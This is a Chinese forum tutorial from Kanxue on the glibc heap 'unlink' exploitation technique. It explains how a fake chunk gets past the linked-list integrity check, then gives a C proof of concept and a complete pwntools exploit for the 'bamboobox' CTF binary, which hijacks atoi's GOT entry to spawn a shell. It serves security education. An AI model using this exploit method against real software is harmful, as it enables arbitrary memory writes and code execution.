本文为看雪论坛精华文章
看雪论坛作者ID:洋洋不得意
一
chunk合并
chunk结构体大致如下:
struct chunk
{
size_t prev_size;
size_t size;//低3位不算在size里面
union
{
struct
{
chunk* fd;
chunk* bk;
};
char userdata[0];
}
}
size的低三位表示为:
这里会用到 PREV_INUSE(P): 表示前一个chunk是否为allocated。
P位为1时代表物理相邻的前一个chunk为free状态,此时prev_size代表前一个chunk的大小。
非fastbin的chunk在free时会与物理相邻的空闲chunk合并。
二
unlink漏洞
非fastbin中的chunk使用的是双向链表,使用chunk的fd、bk链接
设需要unlink的指针为P,在unlink时,进行如下操作:
高版本的libc会检测BK和FD的指针是否指向P:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
伪造一个fake_chunk,绕过unlink的检测,即可任意地址写。
三
漏洞利用
1.设有相邻的两块chunk,p,f,使得f,free后不进入fastbin(chunk size>0x80)。
2.在p中创建一个伪造chunk块fake_chunk,使p->Fd= &p-3*sizeof(size_t);p->bK= &p-2*sizeof(size_t)。
3.修改f的chunk头,使prev_size=fake_chunk_size, PREV_INUSE = 0。
4.free(f),这时glibc查看f的chunk头,发现f的上一个chunk是free状态,就把上一个chunk(p)拿来合并。
此时正好满足glibc检测条件,unlink后,先执行p=&b;再执行p=&a; 最后结果就是p指向a的首地址,从而控制了从a到p的地址(假如a可写)。
四
实验
直接上代码:
#include <stdio.h>
size_t* a = NULL;
size_t* b = NULL;
size_t* c = NULL;
size_t* p = NULL;
size_t* f = NULL;
int main()
{
p = malloc(0x80);
f = malloc(0x80);
malloc(0x10);
//set f->PREV_INUSE = 0
p[17] = 0x90;//*(f-1) = 0x90;
//set f->prev_size = 0x80(fakechunk size)
p[16] = 0x80;//*(f-2) = 0x80;
//fakechunk
p[0] = 0;
p[1] = 0x81;
p[2] = &a;
p[3] = &b;
//unlink
free(f);
if(&a == p)
{
printf("hack!!!!\n");
p[0] = 0x11111111;
p[1] = 0x22222222;
p[2] = 0x33333333;
p[3] = 0x44444444;
printf("a = %p\n", a);
printf("b = %p\n", b);
printf("c = %p\n", c);
printf("p = %p\n", p);
}
return 0;
}//gcc -g test.c
/*多申请一块chunk,防止合并到top chunk里面*/
假设我们只可以控制p、f的申请,释放,写入,unlink后p的地址可控,即可任意地址写。
五
总结公式
feak_chunk->Fd = &p - 3*sizeof(size_t);
feak_chunk->Bk = &p - 2*sizeof(size_t);
f->PREV_INUSE = 0;
f->prev_size = chunk_size(feak_chunk);
free(f)
p[3] = 需要覆盖的地址()
printf("%s",p) 泄露需要覆盖的地址
p[0] = system
调用需要覆盖的地址()拿shell
六
一道题 hitconTraining_bamboobox
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
sh = process("./bamboobox")#gdb.debug("./bamboobox")
bambooboxElf = ELF("./bamboobox")
libcElf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def pause_debug():
try:
raise Exception
except:
f = sys.exc_info()[2].tb_frame.f_back
debug("pause_debug [%d]" %f.f_lineno)
pause()
return
def show():
sh.sendlineafter(b"Your choice:", b"1")
def add(length, name):
sh.sendlineafter(b"Your choice:", b"2")
sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode())
sh.sendlineafter(b"Please enter the name of item:", name)
def change(index, length, name):
sh.sendlineafter(b"Your choice:", b"3")
sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode())
sh.sendlineafter(b"Please enter the new name of the item:", name)
def remove(index):
sh.sendlineafter(b"Your choice:", b"4")
sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
add(0x40, "aaa")
add(0x80, "bbb")
add(0x80, "ccc")
# .bss:00000000006020C0 ; Box itemlist[100]
index1_p = 0x00000000006020C0 + 8
payload = flat([
p64(0), #feak_chunk->prev_size
p64(0x41), #feak_chunk->size
p64(index1_p - 3*8), #feak_chunk->Fd = &p - 3*sizeof(size_t);
p64(index1_p - 2*8), #feak_chunk->Bk = &p - 2*sizeof(size_t);
b'a' * 0x20, #feak_chunk->user_data
p64(0x40), #f->prev_size
p64(0x90) #f->size
])
change(0, len(payload), payload)
remove(1)
payload = flat([
p64(0) * 3,
p64(bambooboxElf.got["atoi"]) #p[3] = 需要覆盖的地址()
])
change(0, len(payload), payload)
show() #printf("%s",p) 泄露需要覆盖的地址
sh.recvuntil("0 : ")
libc = sh.recv(6).ljust(8,b"\x00")
libc = u64(libc)
success("libc:%x" %libc)
libcBase = libc - libcElf.sym["atoi"]
success("libcBase:%x" %libcBase)
change(0, 8, p64(libcBase + libcElf.sym["system"])) #需要覆盖的地址(atoi_got)=system
# pause_debug()
sh.sendlineafter(b"Your choice:", b"/bin/sh") #调用system拿shell
sh.interactive()
看雪ID:洋洋不得意
https://bbs.pediy.com/user-home-861996.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!